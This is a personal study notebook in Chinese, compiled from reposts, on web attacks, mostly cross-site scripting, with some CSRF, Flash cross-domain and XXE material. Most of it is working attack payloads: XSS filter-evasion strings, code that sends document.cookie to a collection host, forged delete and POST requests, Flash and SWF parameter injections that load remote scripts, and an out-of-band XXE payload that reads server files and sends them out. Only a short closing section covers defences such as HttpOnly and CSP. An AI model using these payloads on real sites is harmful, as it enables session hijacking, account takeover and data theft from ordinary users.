下面是 自己學習時的筆記,各種轉載~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
漏洞知識庫:
CSRF 跨站請求僞造 學習
crossdomain.xml 文件來驗證是否允許客戶端的flash 跨域發送請求,使用的是白名單的思想
使用 token 足夠複雜來防禦
同源政策
a.com 通過 <script src=http://b.com/b.js></script> 加載了b.com 的b.js 但是b.js 是運行在a.com 頁面的所以對於a.com來說,b.js的源就應該是a.com而非b.com
<script> <img> <iframe> <link> 等標籤都可以跨域加載資源而不受同源政策的限制,這些帶<src> 屬性的標籤加載時實際上就是由瀏覽器發起了一次 GET請求
不同於 XMLHttpRequest 的是,通過src 屬性加載的資源,瀏覽器限制了 JAVASCRIPT的權限,使其不能讀寫返回的內容
flash 通過目標網站提供的crossdomain.xml文件判斷是否允許當前“源”的flash跨域訪問目標資源,eg:
當瀏覽器在任意其他域的頁面里加載了FLASH後,如果對www.qq.com發起訪問請求,flash會先檢查 www.qq.com 上此策略文件是否存在。如果文件存在,則檢查發起請求的域是否在許可範圍內。
在flash 9及其以後的版本中,還實現了MIME檢查以確認crossdomain.xml是否合法,如查看服務器返回的HTTP頭等信息,FLASH還會檢查 crossdomain.xml是否存在根目錄下,使得一些上傳文件攻擊失效
<cross-domain-policy>
<allow-access-from domainm="*.wooyun.org"/>
<allow-access-from domainm="*.qq.org"/>
</cross-domain-policy>
2 XSS 學習 CROSS SITE SCRIPT
XXS 構造技巧
檢測是否出現 <script>alert("xss")</script>
<iframe οnlοad=alert(document.cookie)>
<script>alert("xss");</script>
<img src=x οnerrοr=alert(1)>
xxx<script>alert(/xss/);</script>
javascript:alert(document.cookie);
"><img src="a" οnerrοr="prompt">
<div style="background:url('javascript:alert(1)')">
<img src="some.gif" οnlοad="alert('xss');" />
<img src=x οnerrοr=jQuery.getScript('hook Address') width=0px> (不讓圖片顯示出來)
%c1";alert(/xss/);// 系統轉義了" , 接着%c1\ 這兩個字符組合在一起後,會成爲一個UNICODE字符 從而繞過系統安全檢查
工具使用: 市面上的軟件(JSky、Safe3WVS、Netsparker等)都可以挖掘出反射XSS
PHP獲取IP有3個函數
X-Forwarded-For Header(工具)就是對其中一個函數X_FORWARDED_FOR起作用,X_FORWARDED_FOR
有個缺陷可以使客戶端僞造任意IP,當然包括字符串,但是對其他兩個函數就不行了
Modify Headers(工具)可以僞造數據包內容,當然也可以僞造HTTP_CLIENT_IP來更改IP
構造IP 爲 <script>alert(1)</script> 可以看一些彈框了
XSS不一定是在input輸入框和GET/POST參數修改,纔可以插入XSS。還有JavaScript、ActionScript2/3.0、數據包參數
學習突破字數限制
限制20字節類型,<input type=text value="xxx" /> 利用事件輸入 " οnclick=alert(1)// 實際爲 <input type=text value="" οnclick=alert(1)//">
首先先發一篇標題爲:”>/*</script>
再發一篇標題爲:"><script>alert(/Jin/)/*
拼湊起來 <script>alert(/XSS/)/*xxxxxx*/</script>
同樣的思想,可以在限制字符時,第一個文本框小,第二個文本框大,那麼直接在兩個文本框之間的html代碼全部註釋掉,從而”打通“兩個<input>
第一個輸入 "><!--_(空格) 只有6字節 第二個輸入 --><script>alert(/xss/);</script>
可以加載其他可控的安全數據位置的數據,EG:
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
如果沒有這些數據,就通過在URL的尾部參數構造要執行的代碼,然後在XSS點通過document.URL/location.href等方式獲得代碼數據執行
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
30字節 (上) 或者 31字節 (下)
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
或者 29字節 (下)<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
或者 30字節 (下)<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
或者更少 說明在下面<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
location.hash 可以用來獲取或設置頁面的標籤值,不會在HTTP包中發送,所以服務器端的WEB日誌中並不會記錄下 location.hash 裏的內容,從而也更好地隱藏了hacker的意圖
<input type=text value="xxx" /> 輸入40字節
" οnclick="eval(location.hash.substr(1))
得到 <input type=text value="" οnclick="eval(location.hash.substr(1))" />
#是用來指導瀏覽器動作的,對服務器端完全無用。所以,HTTP請求中不包括#。
因爲location.hash 的第一個值 爲 # ,所以構造 url 爲 www.xxx.com/test.html#alert(xss)
所以這裏的 XSS PAYLOAD 是寫在 瀏覽器的地址欄的。可以直接寫在url,也可以利用其它平臺上文件來寫
還有可以關注函數
function loads(url) {
...
document.body.appendChild(script);
}
<limited_xss_point>loads(http://xxx.com/x);</limited_xss_point>
其他了解
<base> 是個非常危險的標籤,如果在頁面上插入了它,那麼就可以在遠程主機上僞造圖片,鏈接或者腳本了(從標籤指定的網址上取得到).
window.name 可以實現跨域傳輸,那麼構造
window.name = "alert(document.cookie)";
location.href = "http://www.xxx.com/xss.php" 只需通過XSS執行 eval(name); 只有11字節
flash XSS ,Action script 是一種非常強大和靈活的腳本,甚至可以使用它發起網絡連接,因此應該儘可能地禁止用戶能夠上傳加載自定義的FLASH文件
看embed 的 allowscriptaccess 參數 是否開啓
<embed> 標籤定義嵌入的內容,比如插件。 <embed src="http://xxx.com/evil.swf"> </embed>
用 flex builder 編譯 as 生產swf然後去執行JS代碼,編譯修改名爲 xxx.as
package {
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class XXX extends Sprite
{
public function XXX()
{
if(flash.external.ExternalInterface.available){
flash.external.ExternalInterface.call("eval","(function(){var s=document.createElement('script');s.type='text/javascript';s.src='http://xxx.com/xxx.js';document.body.appendChild(s);})()");
}
}
}
}
然後可以先上傳上去,然後<embed src="剛纔複製的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="剛纔複製的FLASH文件地址"></img>
發現地方 處寫上 57字節
</textarea>'"><script src=http://xssan.com/9AM3zw?1410919704></script>
即可發送COOKIE 到指定網站
<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" width="401" height="604" title="111111111" alt="111111111">
title 和 alt 被賦值爲11111111 那麼賦值它
"><img src=1 οnerrοr=alert(document.cookie)>
之後:
<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" title="">
<img src="1" οnerrοr="alert(document.cookie)">
對於畸形URL的處理 IE中www.google.com\abc 會變成 www.google.com/abc 同源行爲還有chrome 但是firefox卻不如此解析
還有 www.google?abc firefox ie chrome都會認識 爲www.google.com/?abc
反射型XSS
簡單的把用戶輸入的數據“反射”給瀏覽器,需要誘使用戶 “點擊” 一個惡意鏈接才能攻擊成功, 也叫非持久型XSS
存儲型XSS
把用戶輸入的數據“存儲”在服務器端,這種XSS具有很強的穩定性,也叫做持久型XSS
DOM Based XSS
也是反射型 XSS,形成原因比較特殊,通過修改頁面的DOM節點形成的XSS
<a href= 'str' >XXXXX信息</a> 1輸入str 那麼 輸入 ' onlick=alert(/xss/) //
<a href= ' ' onlick=alert(/xss/) //' >XXXXX信息</a>
2 還可以輸入 '><img src=# οnerrοr=alert(/xss2/) /><'
<a href= ' '><img src=# οnerrοr=alert(/xss2/) /><'' >XXXXX信息</a>
XSS payload 學習:
簡單竊取cookie
var img = document.createElement("img");
img.src = "http://www.xxx.com/log?"+escape(document.cookie);
document.body.appendChild(img);
http://www.xxx.com/log不一定存在,因爲web 日誌服務有留下記錄登陸網站 切換COOKIE 可以 用edit coookie 和其他, 之所以可以登陸是當前WEB中 COOKIE一般是用戶登陸的憑證,瀏覽器發起的所有請求都會自動帶上CCOOKIE。如果COOKIE 沒有綁定客戶端信息,那麼攻擊者竊取了COOKIE後就可以不用密碼登錄進用戶的賬戶
COOKIE劫持 當出現 SetCookie時給關鍵COOKIE植入 httpOnly標示,有的網站則可能會把COOKIE與客戶端IP綁定,從而使得XSS竊取的COOKIE失去意義
實際利用:1)刪除文章,構造一個GET請求, 然後讓博客主人執行這段JS代碼,就會把這篇文章刪除
var img = document.createElement("img");
img.src = "http://www.xxx.com/xx.do?m=delete&id=xxxxx";
document.body.appendChild(img);
2.1) 構造 POST 型 XSS PAYLOAD 在XSS平臺上構造 一個POST 文件 1(文件名) , 這裏例子最重要是ck=JiUY mb_text=評論值
var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML= '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_text" />'+
'</form>'
document.getElementById("xssform").submit();
構造XSS PAYLOAD 即可 <script>xxx.com/1</script>2.2) 另一種方式:
var url = "http://www.xxx.com";
var postStr = "ck=JiUY&mb_text=test1234"
var ajax =null;
if (window.ajaxRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
ajax=new ajaxRequest();
}
else
{// code for IE6, IE5
ajax=new ActiveXObject("Microsoft.ajax");
}
ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 && ajax.status == 200)
{
alert("Done!");
}
}
如果需要輸入驗證碼 那麼就完蛋了、·······一般的XSS 都會失效·············
那麼就要想到 得到對方的 驗證碼圖片
識別用戶瀏覽器,植入木馬等,識別用戶安裝的軟件,獲取用戶真實IP,
alert(navigator.userAgent) 得到對方的 OS,瀏覽器版本,語言,但這不是準確的
BEEF ,XSS-PROXY 可以拿下 內網主機~~~~ use auxiliary/server/browser_autopwn 可以檢查瀏覽器漏洞
學習技巧:
1) 上傳抓包分析,可以發現,出現提示,但並沒有任何數據請求,即是在客戶端進行了判斷
2) 爲了防止引號導致的問題,在使用JS代碼時,可以直接採用 String.fromCharCode 來避開引號!
3) 加載JS代碼->>又加載遠程JS:
var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));//script
s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);//text/javascript
s.src=String.fromCharCode(http://www.xxx.com/xxx.js_ascii);
document.body.appendChild(s);
可以 encodeURIComponent 編碼後 纔去利用 網址: http://www.w3school.com.cn/tiy/t.asp?f=jseg_encodeURIComponent4) 沒有過濾 \ ,反斜線, 而 css裏,允許使用轉義字符, \ + ascii16進制形式,
w:expression( eval('if(!window.x){alert(document.cookie);window.x=1}'))
w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29
<body style前提,但是微軟從IE8 beta2標準模式開始,取消對css expression的支持,在了 反射性XSS:
5) 沒有過濾 &,# 等符號,我們就可以寫入任意字符,可以將 單引號 寫爲 ',,或者
進制
location.href='........&searchvalue_yjbg=aaaaaa'+alert(1)+''
接着我們把代碼轉換爲 url 的編碼。 &-> %26, # -> %23
location.href='........&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;
過濾 最好的辦法,還是 &過濾爲 &
6) 雙引號被過濾了的情況下:“ -》 "
查看到 <meta http-equiv="Content-Type" content="text/html; charset=gb18030" /> 是 gbxxxx系列編碼,那麼嘗試寬字節呢
%c0;alert(1); 解除對雙引號的屠殺,因爲 %c0喫掉了後面的%5c
http://xxx.com/xxx?xxx=,2,xxx&t=%c0%22;alert(1);//aaaaaa
7) 雙引號是用不了,空格被轉義爲了 但是 反斜線還可以使用,兩個值的情況下:
location.href="........."+"&xx1=aaaa"+"&xx2=bbb"+"¶m=";//後面省略。
因爲我們可以使用 \,那麼我們可以殺掉xx1後面的 雙引號,但是字符串不能=數字
location.href="........."+"&xx1=aaaa\"+"&xx2=bbb"+"¶m=";
然後利用成這樣: (字符串不能=數字, ("字符串")&xx2==1)),但是 報錯xx2 未定義
location.href="........."+"&xx1=aaaa\"+"&xx2==1//"+"¶m=";
利用 JS解析順序,再次構造, 但是 空格又被轉義了
location.href="........."+"&xx1=aaaa\"+"&xx2==1;function xx2(){}//"+"¶m=";
用 SQL注入的方法,/**/代替空格
location.href="........."+"&xx1=aaaa\"+"&xx2==1;alert(1)function/**/xx2(){}//"+"¶m=";
8) 輸入數據,查找有幾處出現在html源碼上
< > " 過濾了
在註釋中 有[輸出],那麼利用 %0a (換行,%0d纔是回車)
修復: 儘量不要在JS的註釋裏輸出內容
9) 反斜槓 \ 是JS中下一行繼續輸入的意思,%5c, 並且反斜槓被過濾 \\ ,那麼就要用到寬字符
反斜槓+換行符 %5c%0a
value = "aaaa"\\
alert(1);//";
var xxx = "aaaa"\\
alert(1);//";
輸入 %c0%5c%0aalert(1);// 最終輸出
value = "aaaaX\
alert(1);//";
var xxx = "aaaaX\
alert(1);//"; 正確
DOM型XSS,不僅要了解輸出了什麼,還要了解拿輸出做什麼:
JS字符 轉 unicode , http://app.baidu.com/app/enter?appid=280383
<div id="a">xxx</div>//執行後xxx變成<img src=1>,可以直接寫html
<script>
document.getElementById("a").innerHTML="<img src=1> ";
</script>
js字符串可以寫成unicode編碼,結果變成
document.getElementById("a").innerHTML="\u003cimg src=1\u003e ";
10) < > " 被過濾了,沒有過濾 \ ,顯式輸出-右鍵查看源代碼的時候,看到我們所輸出的內容
if("職業1"=="職業1")
document.getElementById("titleshow").innerHTML="按職業檢索:aaaaaaa";
innerHTML="[輸出]", 它會將輸出當作html輸出,那麼 構造 unicode輸出
innerHTML="按職業檢索:\u003cimg\u0020src=1\u0020οnerrοr=alert(1)\u003e";
但是\u003c\u003e 被過濾成 <> 但沒有過濾\u0020 ,
但是 < > 還可以是 \x3c\x3e , 最終構造:
innerHTML="按職業檢索:\x3cimg\u0020src=1\u0020οnerrοr=alert(1)\x3e";
innerHTML="xx"; 只能用<img src=1 οnerrοr=alert(1)> 來觸發,IE下 還可以用<script defer>alert(1)</script>
11)隱式輸出,在源碼中搜索不到東西了
chrome f12 在調試工具中能看到了, 直接根據調試工具裏看到的HTML代碼情況,來構造利用代碼
1 直接根據調試工具裏看到的HTML代碼情況,來構造利用代碼。 優點:省時間,缺點:如果對方有一定過濾,就很難構造
先構造下代碼
<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">
<param name="movie" value="aaaaaa"></object><img src="1" οnerrοr="alert(1)">
```````````````````````````````````````````````````````````````````
發現 " -> \\"
那麼 不用引號, 構造 aaaaa"></object><img src=1 οnerrοr=alert(1)> 可以看到很快
http://xxx.com/xxx.htm?sid=aaaaaa"></object><img src=1 οnerrοr=alert(1)>
2 定位到與這個缺陷參數sid相關的JS代碼,再來構造利用代碼。優點:能利用一些複雜的情況, 缺點:耗時間。
首先,F12打開調試工具,點【Resources】,再點Frames, 然後 Ctrl+ F搜索 "sid" 或者 'sid'
看到getUrlPara("sid"),還在console裏看到 函數是啥樣的,getUrlParam是對<, > 做了過濾,
但是由於chrome瀏覽器自身的XSS防禦機制,導致location.href獲取的location.href是已經經過編碼的。
從而導致未過濾。還有一步decodeURIComponent的操作,會將 %3c, %3e,又變回 <, >
那麼可以得到 上面的POC !! 這個代碼在IE下,是沒法XSS的。然後再構造 優缺點 明顯了!!!!
http://xxx.com/xxx.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20οnerrοr=alert(1)%3E
12) 搜索源代碼和調試工具都看不到任何東西的情況下:
可以看看Console,看看有沒有其它有用的東西,這個時候加上特殊字符 習慣用 \ 等沒有被過濾的字符
然後看大console 裏 有一個錯誤,然後點擊右側定位到錯誤代碼,代碼很亂的話 點擊 { } 美化一下
看到 eval('this.key="aaa";') ,構造 xxxx?key;alert(1);//=aaa 或者 ?key=aaa";alert(1);//
在IE下是可以的,但在 chrome 下 不一樣,chrome會自動對", >, < 進行轉換~~~~~
eval('this.key="aaa";alert(1);//") 在chrome 下 會變成 eval('this.key="aaa%22;alert(1);//") 從而失敗
13)iframeA.src="[可控的url]" ,
<iframe οnlοad="alert(1)"></iframe> ,
<iframe src="javascript:alert(1)"></iframe>
IE下vbscript執行代碼: <iframe src="vbscript:msgbox(1)"></iframe>
Chrome下data協議執行代碼 :<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome (當然還可以<> 變爲<>)
Chrome下srcdoc屬性:<iframe srcdoc="<script>alert(1)</script>"></iframe>
看到我們參數的aaaaaa被帶入到了<iframe id="toolframe" src="aaaaaa"></iframe>。
構造 xxxxx?turl=javascript:alert(1);&gid=yl&cid=68&from=
發現 src這次沒屬性了,看來被過濾了
那麼搜索 toolframe 可以看到哪裏將 src給清除了 ,發現 對src 進行了過濾
在IE下,我們可以使用vbscript來執行代碼。 vbscript裏 ' 單引號表示註釋,類似JS裏的//
構造 xxxxx?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=
在chrome 下 使用 data協議來執行JS, ?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
14) xx?jsonp=callback&id="+id;
需要在同域名下有可控的東東:
1 直接上傳文本到同域名下,不一定HTML文件,需要上傳有點過濾缺陷
script src="/path/xxx/[路徑可控]/1.js"
2 參數可控的json 接口
script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"
3
script src="/xxxx/json.php?callback=參數可控¶m1=yyy&keyword=[參數可控]"
通過抓包的方式,看到頁面在打開時,所加載的外部JS文件地址
http://sse1.paipai.com/comm_json?callback=可控k&xxxx= 也是無法使用 < >
直接控制callback參數,但是從實際情況來看,我們此處無法直接控制它,【失敗】
那麼可以更改 後面參數param=xxx&callback=alert(1) 複寫 callback
decodeURIComp 對keyword會解碼, %26callback=alert(1); -> &callback=alert(1);
所以就夠在 keyword=%26callback=alert(1)
就構造: alert(document.cookie)
keyword=%26callback=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))
setTimeout的第一個參數字符串作爲腳本來執行
<script ```>setTimeout("window.location.href ='http://www.xxx.net/./aaaaaaaaaaa';", 2000);</script>
首先想到 閉合單引號 但是不行 被過濾了 ' 測試\ 沒有被過濾
xxx.location.href ='http://www.xxx.net/./a';alert(document.cookie);a='';", 2000);</script>
xxx.location.href ='http://www.xxx.net/./a\u0027;alert(document.cookie);a=\u0027';", 2000);</script>
location.href="某個地址"; 但一個alert,暫停了location.href的發生。
如果我們把 alert(document.cookie); 換成插入某個JS文件的腳本代碼,就會出現問題
所以這裏 可以直接讓代碼變成執行 location.href="javascript:alert(document.cookie)";
location.href='原來的字符串'.替換(所有字符,"新的字符");
```www.xxx.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 2000);```
```www.xxx.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 2000);```
可以看到,效果一樣,這次就不會加載JS文件發生跳轉從而導致加載JS失敗咯。
FLASH XSS
16) Flash的actionscript腳本目前網絡上存在2種版本,即2.0與3.0,本次先以as3.0爲例
navigateToURL/getURL ExternalInterface.call,漏洞吧~~~~~~~~~~~
搜索引擎: site:xxx.com filetype:swf , 顯然這樣會搜索出很多FLASH文件,不利於我們後續的漏洞查找
已知存在缺陷的FLASH文件名或參數名,如:swfupload,jwplayer等
多媒體功能的FLASH文件名,如:upload,player, music, video等
調用的外部配置或數據文件後綴,如: xml, php 等
前期經驗積累下來的程序員特徵參數名用詞,如: callback, cb , function 等
AS 代碼中 如 parameters and externalInterface.call
site:xxx.com filetype:swf inurl:xml
1----http://xxx.qq.com/xxx/xxx1.swf?xmlurl=http://xxx.qq.com/xxx/xxx2.xml
這裏用到工具 Charles 在虛擬機裏 javaw -jar patcher.jar 破解 或者在本機喲娜吾愛的最新版, 工具會把xml和swf一起抓起來
在 1 頁面中看有什麼可疑, 比如link ,然後下載 xxx1.swf 丟進 actionscript viewer 反編譯出 as 代碼 中尋找
navigateToURL(new URLRequest(link), "_self");//as3.0
getURL(link,"_self");//as2.0
,查看到link是怎麼用的. 一般都是直接提交給 xxx1.swf, 那麼 我們可以僞造 xmlurl參數爲我們的服務器上的xxx2.xml
http://myserverxxxx.com/pic.xml
http://myserverxxxx.com/crossdomain.xml 自己服務器上可以來點
<?xml version="1.0">
<cross-domain-policy>
<allow-access-from domainm="*.xxx.com"/>//允許xxx.com訪問我們的xml 然後構造xml中的可疑link就能xss了
</cross-domain-policy>
2----http://xxx.qq.com/xxx/xxx1.swf?xmlurl=http://myserverxxxx.com/pic.xml 鏈接給別人就XSS了17 as 3.0 接受參數
所有參數存放在 root.loaderInfo.parameters 對象裏
SWFUpload.instances["aaaaaaaa"].flashReady
ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady');
try { __flash__toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("參數1")) ; } catch (e) { "<undefined/>"; }
movieName=aaa"])}catch(e){alert(1)};//
20) LongTail Video
ExternalInterface.call(_config.debug, text);<---directly use _config.debug
http://player.longtailvideo.com/player.swf?debug=(function(){
location.href='javascript:"<script/src=\'//xxx.com\/xxx.js\'></script>"'
})
http://player.longtailvideo.com/player.swf?debug=(function()%7B
location.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fxxx.com%5C%2Fxxx.js%5C'%3E%3C%2Fscript%3E%22'
%7D)
最簡單就是swf?debug=(function(){alert(1)})filetype:swf inurl:"player.swf?debug=" 谷歌可以看到很多
21) 郵箱XSS
先上傳,再寫入xss payload 的swf然後再去 寫郵件如下
<embed src="剛纔複製的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="剛纔複製的FLASH文件地址"></img>
22)
首先google 了一下inurl:(swf) site:weibo.com 得到若干個 swf 全部反編譯,在生成的TXT中搜索
反編譯 swf 查找 parameters , externalInterface.call(第一個參數往前推就得到url參數),getFlashVar
找到 SWF 後 查看源碼:
//正如我說的這種直接把JS函數名傳入的情況
this.javaScriptEventHandler = this.loaderInfo.parameters.eventHandler;//發現 這個eventHandler是swf的參數
//後面又用call調用
ExternalInterface.call(this.javaScriptEventHandler, this.elementID, event);
構造1級測試代碼。證明:JS可以運行 uploader.swf?eventHandler=(function(){alert('xxx');})
構造2級代碼,利用href='javascript:"新的頁面內容"';突破無法訪問document對象的限制。但是無法獲取http-only Cookie
xxx.uploader.swf?eventHandler=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})
構造3級代碼,利用Apache Http-only Cookie 泄漏漏洞,獲取全部cookies數據。
xxx.uploader.swf?eventHandler=(function(){location.href='javascript:"<script/src=\'//appmaker.sinaapp.com\/test4.js\'></script>"'})
繞過瀏覽器的XSS過濾器
18) http://xxx.com/php/login?game=roco&uin="><img src=1 οnerrοr=alert(1)>xxx chrome攔截了。。
refused to execute a javascript script. source code of script found within request
使用 <script src=data:,alert(1)<!--
····xxx.html#siDomain=1&g_StyleID="><script>alert(document.cookie)</script> IE可以,但是chrome還是被攔截了
這裏接受地址欄的參數時,是以 "=" 分割,因而我們的代碼中是不允許攜帶 等號的
但是 看代碼中 有 g_StyleID = paras['g_StyleID'].replace("v6/",""); 將v6/ 替換爲空
那麼 我們就可以 <scrv6/ipt>alert(document.cookie)</script>
存儲型XSS
存儲型和反射型相比,只是多了輸入存儲、輸出取出的過程
反射型是:輸入--輸出;輸入在哪裏,輸出就在哪裏,輸入大部分位於地址欄或來自DOM的某些屬性,也會偶爾有數據在請求中(POST類型)
存儲型是:輸入--進入數據庫*--取出數據庫--輸出, 輸入在A處進入數據庫, 而輸出則可能出現在其它任何用到數據的地方,輸入大部分來自POST/GET請求,常見於一些保存操作中。從一個地方輸入數據,需要檢測很多輸出的點,從而可能會在很多點發現存儲型XSS,有時候需要逆向的思維,來尋找存儲型XSS
ExternalInterface.call
23 ) <img src='http://xxx.com/xxx.jpg' οnlοad='alert(1)'> 後面被過濾
<img src='http://xxx.com/xxx.jpg' onload/='alert(1)'> ,看輸出 onload\/='alert(1)' 確定網站不是直接replace掉onload
onload空白符=alert('1') 一樣會被過濾
onload\s+=任意連續字符 被過濾爲空
onload某個不是空白的字符=alert('1')
就說明這個字符加在onload後面不影響οnlοad=alert()的運行
24)
<svg><script>prompt(1)</script> //script之間就可以用HTML轉義
由於xml編碼特性。在SVG向量裏面的<script>元素(或者其他CDATA元素 ),會先進行xml解析。
因此((十六進制)或者( (十進制) 或者( (html實體編碼)會被還原成(。
過濾->。但是2012已經公佈,html5的註釋標籤不僅可以使用-->,還可以使用--!>。
<!-- --!><svg><script>prompt(1);</script> -->
<!-- --!><svg/οnlοad=prompt(1) -->
26) 僞造 SID
Session Fixation 解決 登錄完成後,重寫SessionID
cookie 被用於的更多了
27) 很多用戶使用Cookie 的 Expire 標籤來控制 Sesstion 的失效時間
篡改這個時間並使之永久有效那麼就能獲得一個永久有效的Session ,服務器端是完全無法察覺的
document.cookie = cookiename + ``` + "expires=Thu, 01-xxxxx GMT"
攻擊者甚至可以爲Session Cookie 增加一個 Exipre 時間, 使得原本瀏覽器關閉就會失效的 Cookie 持久化地保存在本地,變成一個第三方Cookie
對抗····· 一定時間後,強制銷燬 Session 或者選擇性的要求 比如 IP,UserAgent 變化 強制銷燬當前Sesstion.
同一個用戶可以同時持有幾個有效的Sesstion 當用戶重新登錄時, 攻擊者所保持的Session 將被銷燬
28) OAuth 提供 授權 服務
29)
function chkxss(code){
try{
decodecode = decodeURIComponent(code);
}catch(e){
decodecode = code;
}
var xsses = ["fromCharCode","join","concat","slice","substr","match","split","escape","encodeURI","replace","\\","eval","setTimeout","setInterval","getScript","constructor","erHTML","Attribute","unction","execScript","with","setImmediate","createElement","write","name","referer","cookie","location","click"];
for(i=0;i<xsses.length;i++){
if(decodecode.indexOf(xsses[i])>-1){
return true;
}
}
if(/(&&)|;|,|\[/.test(decodecode)&&decodecode.indexOf("+")>-1){
return true;
}
if((decodecode.indexOf("URL")>-1||decodecode.indexOf("hash"))>-1&&location.href.indexOf("#")>-1){
return true;
}
if(code.length>150){
return true;
}
if(decodecode.indexOf('open')>-1||/\Wsrc\W/.test(decodecode)){
return true;
}
return false;
}
關鍵字 ,+ 等不能出現
window[location]="http://xxx/"+document['cookie']
然後繞過關鍵字過濾 'coo'['CONCAT'.toLowerCase()]('kie')
"><window['loca'['CONCAT'.toLowerCase()]'tion']='http://xxx/'['CONCAT'.toLowerCase()](document[ 'coo'['CONCAT'.toLowerCase()]('kie')]);>
url編碼後提交得到flag。
30
xml 注入:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ourserver_ip/xdb.xml">
%remote;
%param1;
]>
<root>&external;</root>
xdb.xml的內容爲:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=bb.php">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://ourserver_ip/log.php?msg=%payload;'>">
要注意的地方是,這裏不能直接用file協議取bb.php的內容,因爲絕對路徑不確定感覺。
所以採用php://filter以及base64-encode的trick。最後讀到的msg再base64_decode 一下就出來flag了。
解決辦法
補充: 一個COOKIE的使用過程:
1)瀏覽器發起請求,則還是沒有COOKIE
2)服務器返回時發送 SET COOKIE 頭 ,向客戶端瀏覽器寫入 COOKIE
3)在該 COOKIE 到期前,瀏覽器訪問該域下的所有頁面,都將發送該COOKIE
HTTP-only cookie。包含在HTTP-only cookie中的任何信息暴露給黑客或者惡意網站的機率將會大大降低。下面是設置HTTP-only cookie的一個報頭的示例:
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly 可以防止“COOKIE劫持”
最早由微軟提出,IE6中,瀏覽器講禁止頁面JS訪問帶有 HTTP-ONLY屬性的COOKIE
HTTP ONLY 是在 SET-COOKIE 時標記的, 需要注意可能有多個 COOKIE,而 HTTP-ONLY 可以有選擇性地加在任何一個 COOKIE 上
在某些情況,多個 COOKIE ,HTTP-ONLY 只標記給用於認證的關鍵 COOKIE
(已經被修補)繞過可以利用 apache 支持的TRACE 一般用於調試,會講請求頭作爲HTTP RESPONSE 返回
firefox第一個提出CSP 做法是由服務器返回一個HTTP頭,並在其中描述頁面應該遵循的安全策略,XSS攻擊在沒有第三方插件幫助情況下,無法控制HTTP頭,所以這項措施是可行的。使用CSP 的方法如下,插入一個HTTP返回頭:
X-Content-Security-Policy:policy 比如:
X-Content-Security-Policy:policy: allow 'self' *.mydomain.com
瀏覽器新人來自mydomain.com及其子域的內容
NoScript 擴展
NoScript 1.1.4.7版公開發布,新增了一個客戶端級的保護,針對類型0和類型1的XSS攻擊。一旦一個頁面試圖將HTML或是JavaScript代碼插入另一個頁面,NoScript就會過濾掉有害請求,抵消這些危害。
2007年4月11日,NoScript 可以根據您的選擇,只允許受信任的網站啓用JavaScript、Java 或其他插件
2008年9月15日,NoScript 1.8.1版公開發布,使得用戶可以強制某些網站必須通過https訪問,增加安全性。此外NoScript也可以強制https網站把Cookies加密來阻止Cookies劫持。
2009年9月23日,NoScript 1.9.8.9版增加了對STS的支持。這一功能使得用戶在訪問支持的網站(例如,PayPal)的時候自動只通過HTTPS訪問,使得中間人攻擊變得非常困難。
IE8 XSS Filter 但是已經被繞過了 http://www.80sec.com/ie8-xssfilter-bypass.html
.php?c=<script>alert()</script>
.php?c=%c1<script>alert()</script> 繞過
